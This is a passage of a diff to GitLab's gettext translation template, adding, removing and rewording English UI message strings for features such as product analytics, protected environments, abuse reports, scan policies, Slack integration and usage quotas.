msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31066,9 +31430,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31180,6 +31541,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31192,27 +31556,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -31867,6 +32432,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32086,6 +32663,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32161,9 +32741,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32335,9 +32912,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32488,10 +33062,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32623,6 +33197,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33247,6 +33824,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33259,6 +33854,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33295,6 +33893,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34023,6 +34624,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34290,9 +34894,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34350,9 +34951,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34389,6 +34987,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35321,7 +35946,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35692,7 +36317,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -35899,6 +36524,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -35923,9 +36554,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -35941,6 +36569,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -35950,12 +36581,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36148,9 +36803,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36507,6 +37159,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36528,6 +37189,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -36807,7 +37471,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -36870,10 +37534,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -36888,6 +37552,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -36957,9 +37624,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37179,9 +37843,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37209,6 +37870,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37239,9 +37903,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37260,9 +37921,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38041,6 +38699,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38255,9 +38916,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38384,9 +39042,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38417,6 +39072,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38444,10 +39105,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38459,22 +39120,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
-msgstr ""
-
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -38972,6 +39627,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39167,15 +39828,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39665,18 +40326,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -39893,6 +40572,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -39911,7 +40593,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -39932,9 +40614,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40422,15 +41101,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40461,6 +41131,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40723,9 +41408,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -40977,6 +41659,9 @@ msgid "The following personal access token: %{token_names} was revoked, because
msgid_plural "The following personal access tokens: %{token_names} were revoked, because a new policy to expire personal access tokens were set."
msgstr[0] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41125,6 +41810,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41329,6 +42017,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41677,6 +42368,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -41779,21 +42473,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42016,6 +42716,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42091,9 +42794,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42298,7 +42998,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42738,6 +43438,10 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -42954,7 +43658,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43251,24 +43955,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43372,15 +44064,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43552,6 +44241,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43594,6 +44286,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -43774,6 +44469,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -43813,6 +44511,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -43882,6 +44583,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44044,15 +44748,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44083,15 +44781,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44149,24 +44841,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44194,9 +44874,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
